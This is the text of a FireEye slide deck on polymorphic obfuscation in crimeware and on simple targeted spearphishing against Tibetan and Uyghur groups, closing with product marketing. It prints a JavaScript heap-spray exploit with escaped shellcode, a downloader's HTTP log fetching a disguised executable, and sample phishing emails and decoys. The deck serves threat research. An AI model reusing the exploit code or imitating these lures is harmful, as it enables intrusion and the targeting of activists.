Polymorphism in Crimeware
and why it isn’t needed in targeted attacks

Alex Lanstein
FireEye, Inc.
As We’ve Heard…

• Polymorphism is effectively used in “drive-by” exploits, Email centric attacks, and also in subsequent payloads downloaded once the criminal has a foothold

• But for single target attacks, this is unnecessary
Polymorphic JavaScript Obfuscation

- Exploits are easy to detect if they are static...

```javascript
var heapSprayToAddress=0x05050505; var payLoadCode=unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%E575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var heapBlockSize=0x400000; var payLoadSize=payLoadCode.length*2;
var spraySlideSize=heapBlockSize-(payLoadSize+0x38);
var spraySlide=unescape("%u9090%u9090");
spraySlide=getSpraySlide(spraySlide,spraySlideSize);
heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
memory=new Array();
for (i=0;i<heapBlocks;i++) {memory[i]=spraySlide+payLoadCode}
function getSpraySlide(spraySlide,spraySlideSize){
while (spraySlide.length*2<spraySlideSize){
spraySlide += spraySlide;
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
```
Exact Same Exploit – More Obfuscation

- Cyber criminals use polymorphic packers
  - Packer software rolls up malware into a single package that has the ability to make its "signature" mutate, evading typical detection.
Repacked in Each Session (Polymorphic)
## Payload Polymorphism

### Malware Binaries

<table>
<thead>
<tr>
<th>ID</th>
<th>Protocol</th>
<th>Proto Header</th>
<th>Md5sum</th>
<th>Last analysis time</th>
</tr>
</thead>
<tbody>
<tr>
<td>23766</td>
<td>TCP (80)</td>
<td>GET /showthread.php?t=372185 HTTP/1.1</td>
<td>bcd3a4e38e89d86044fc9b2d0d8d1c1b10</td>
<td>06/29/11 12:08:58</td>
</tr>
</tbody>
</table>

**Downloader malware binary**

```
GET /showthread.php?t=372185 HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.0; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.5.00729; .NET CLR 3.0.30618)
Host: wwwhyg.co.cc
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 29 Jun 2011 16:06:02 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Content-Length: 135168
Content-Disposition: inline; filename=windows-update-sp3-kb863244-setup.exe
```

Download malware binary

<table>
<thead>
<tr>
<th>ID</th>
<th>Protocol</th>
<th>Proto Header</th>
<th>Md5sum</th>
<th>Last analysis time</th>
</tr>
</thead>
<tbody>
<tr>
<td>23766</td>
<td>TCP (80)</td>
<td>GET /showthread.php?t=372185 HTTP/1.1</td>
<td>a24398eee73a5f30987cd7263d5a</td>
<td>06/29/11 12:06:21</td>
</tr>
</tbody>
</table>
Polymorphism Exists for Email Attachments Too
As We’ve Heard…

• Polymorphism is effectively used in “drive-by” exploits, Email centric attacks, and also in subsequent payloads downloaded once the criminal has a foothold.

• But for single target attacks, this is unnecessary.
Target Reconnaissance is Simple

The situation in Tibet is critical, but the Chinese are not talking ...
blogs.telegraph.co.uk › News › World › Malcolm Moore
25 Feb 2009 – As it is Tibetan New Year, I thought I would post parts of an interview I did with Kelsang Gyaltse, the Tibetan envoy to Europe. (BTW, I hear the ...

Readers' Comments - www.phayul.com
6 Feb 2011 – The Dalai Lama's envoy Kelsang Gyaltse Tuesday briefed the ... Now, a Tibetan women's football team in the offing (05-11, 23 Nov 2011) ...

Tibetan national football team to tour Germany in late August - The ...
Envoy Kelsang Gyaltse's Statement on The Sino-Tibetan Dialogue: State of Play ...
Envoy Kelsang Gyaltse's Statement on The Sino-Tibetan Dialogue: State of ...

Envoy Kelsang Gyaltse in Tokyo,World Tibet News | Dalai Lama ...
www.uyghurnews.com › World Tibet News
24 May 2009 – Envoy Kelsang Gyaltse in Tokyo,World Tibet ... 23-May-2009 · 15th Gyalyum Chenmo Football Gold Cup - A curtain raiser - 23-May-2009 ...

Jigmoy Gyaltse | Facebook
www.facebook.com/people/Jigmoy-Gyaltse/100002710637880
Join Facebook to connect with Jigmoy Gyaltse and others you may know. ... Others Named Jigmoy Gyaltse ... Kelsang Gyaltse ... England Football Team ...

China urges Dalai Lama to back Olympics - Sports News, Football ...
www.timesofearth.com/oldarchive/Sports_Update/index.php?id...
During the visit, Tibetan envos Lodi Gyari and Kelsang Gyaltse took a tour of Olympic venues and met with Du. A statement issued Saturday from the Tibetan ...
Tibetan Supporters are Frequent Targets

Hello,

This is Henryk Szadziewski at the Uyghur Human Rights Project. I am doing a paper on football and identity among the Uyghur people. I have a brief survey (in English and Uyghur) on football. I would be very grateful if you took the time to complete it to help my research. It should take no longer than five to ten minutes. The survey is available here: http://www.surveymonkey.com/s/VXLLFRZ (link is safe).

Thank you very much.


http://www.surveymonkey.com/s/VXLLFRZ

Sizge koptin-kop rehmet!

ADDRESS: Wandana Community Center
14 Blacks Road
Decoy Documents are the Norm

ETFC FORMALLY ACCEPTED INTO THE FOOTBALL FEDERATION OF SA

The East Turkistan Football Club (ETFC) has officially registered with the Football Federation of South Australia for the current 2011 season.

All home matches to be held at the Adelaide High School grounds on Sundays with kick off at 3pm. And training to be held at our regular training grounds at Thomas Turner reserve Valley View with dates to be confirmed.

Registrations for ETFC will be closed on the 1st of April and application forms can be downloaded below. A passport size photo and Registration fee of $80 required for all applications.

Initial Dropper is Simple in Functionality

<table>
<thead>
<tr>
<th>Malicious Alert</th>
<th>Exploitcode</th>
</tr>
</thead>
<tbody>
<tr>
<td>Heapspraying</td>
<td>PatternAnalysis</td>
</tr>
<tr>
<td>Malicious Alert</td>
<td>Exploitcode</td>
</tr>
<tr>
<td>Heapspraying</td>
<td>PatternAnalysis</td>
</tr>
<tr>
<td>Malicious Alert</td>
<td>Exploitcode</td>
</tr>
<tr>
<td>Heapspraying</td>
<td>Allocation</td>
</tr>
</tbody>
</table>

**Malicious Alert**

**Detail:** Heap spray attack detected

**Exploitcode**

**API Name:** VirtualAlloc
**Address:** 0x04b00d1
**Imagepath:** c:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe

**DLL Name:** kernel32

**Call Stack:**

<table>
<thead>
<tr>
<th>Frame No.</th>
<th>Instruction Addr.</th>
<th>Module Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>0x7c809e6</td>
<td>C:\WINDOWS\system32\kernel32.dll</td>
</tr>
</tbody>
</table>

**Malicious Alert**

**Message:** Exploit capabilities detected

**File**

**Created:** C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\AcroRd32.exe

**Close:** C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\AcroRd32.exe

**File**

**Close:** C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\AcroRd32.exe

**File**

**Close:** C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\AcroRd32.exe

**API Call**

**API Name:** WaitForMultipleObjects
**Address:** 0x77d8501
**Imagepath:** C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\AcroRd32.exe

**DLL Name:** kernel32

**Created:** C:\WINDOWS\system32\gqopnet.ini

**Close:** C:\WINDOWS\system32\gqopnet.ini
Callbacks Leverage Sites With Good Reputation
Callbacks Leverage Sites With Good Reputation

sdff
Writing away with Blog.com

Posted on December 24, 2011

Welcome to Blog.com.

This is your first post, produced automatically by Blog.com. You should edit or delete it, and then start blogging!

Posted in Uncategorized | 1 Reply
Spearphishing is Free!

To
The Representatives
Offices of Tibet

Please, find attached the internal news.

Tashi Deleg and most warmly,

Kunsang Dorjee
Protocol Officer
DIIR, CTA

Office of the Reception Centers for New Tibetan refugee from Tibet
Central Tibetan Administration,
P.O. McLeod Ganj, 176219,
District Kangra,
Dharamsala, (HP) India.

Telephone: +91 1892 220077
Telefax: +91 1892 221307

--- Forwarded Message
From: Kato Saunders <press@savetibet.org>
To: reception_center@yahoo.com
Sent: Tuesday, 10 January 2012 2:01 AM
Subject: Tibetan self-immolations continue and spread in Tibet into 2012

---

Tibetan self-immolations continue and spread in Tibet into 2012

ICT report, January 9, 2012

Tibetans held a vigil in a Tibetan area of Qinghai province following the self-immolation of Tibetan, Sonam Wangyal, believed to be a reincarnate lama, yesterday, according to the Tibetan sources in exile.
And Exactly as Sophisticated as it Needs To Be....
How FireEye Breaks the Attack Lifecycle

1. Known attacks & callbacks blocked in microseconds
   - Fast-path blocking

2. Dynamic, real-time analysis of inbound, zero-day attacks
   - Pulls out suspicious flows, email attachments, and/or files/binaries
   - Analyzes within virtual execution environments
   - Confirms attack underway and profiles malware for callback and other data

3. Zero-day callback filter stops data exfiltration
   - Local feedback loop feeds malware content into fast path blocking
   - Stops data exfiltration due to zero-day (and known) attacks
Next Generation Threat Protection Portfolio

- Protects across the most prolific threat vectors, Web and email
- Protects against the lateral movement of malware within the enterprise
- Most comprehensive portfolio to stop the infiltration mechanisms of advanced attacks and its persistence
Web Malware Protection System

- Inline, real-time, signature-less malware protection at near-zero false positives
- Analyzes all web objects, e.g., web pages, flash, PDF, Office docs and executables
- Blocks malicious callbacks terminating data exfiltration across protocols
- Dynamically generates zero-day malware and malicious URL security content and shares through Malware Protection Cloud network
- Integration with Email and File MPS and MAS for real-time callback channel blocking

**FEATURES**

- Inline blocking both inbound and outbound
- Advanced content analysis (PDF, JavaScript, URLs)
- Models up to 1 Gbps at microseconds latency
Multi-Protocol, Real-Time VX Engine

PHASE 1
Multi-Protocol Object Capture

PHASE 1: WEB MPS
• Aggressive Capture
• Web Object Filter

PHASE 1: E-MAIL MPS
• Email Attachments
• URL Analysis

PHASE 2
Virtual Execution Environments

DYNAMIC, REAL-TIME ANALYSIS
• Exploit detection
• Malware binary analysis
• Cross-matrix of OS/apps
• Originating URL
• Subsequent URLs
• OS modification report
• C&C protocol descriptors

Map to Target OS and Applications
Thank You

www.FireEye.com
alex@fireeye.com
@alex_lanstein on twitter